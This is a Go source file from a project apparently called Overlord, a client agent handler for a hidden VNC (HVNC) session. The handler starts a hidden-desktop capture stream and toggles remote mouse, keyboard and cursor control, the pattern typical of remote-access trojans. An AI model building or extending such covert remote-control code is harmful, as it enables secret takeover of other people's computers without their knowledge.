Files
overlord/Overlord-Client/cmd/agent/handlers/hvnc.go
T

92 lines
2.4 KiB
Go

package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
)
func persistHVNCDisplaySelection(display int) {
hvncPersistedDisplayMu.Lock()
hvncPersistedDisplayValue = display
hvncPersistedDisplayMu.Unlock()
}
func GetPersistedHVNCDisplay() int {
hvncPersistedDisplayMu.Lock()
defer hvncPersistedDisplayMu.Unlock()
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
return err
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
}
log.Printf("hvnc: capture error: %v", err)
}
}
}
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.HVNCSelectedDisplay = display
persistHVNCDisplaySelection(display)
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCMouseControl = enabled
log.Printf("hvnc: mouse control %v", enabled)
return nil
}
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCKeyboardControl = enabled
log.Printf("hvnc: keyboard control %v", enabled)
return nil
}
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCCursorCapture = enabled
capture.SetHVNCCursorCapture(enabled)
log.Printf("hvnc: cursor capture %v", enabled)
return nil
}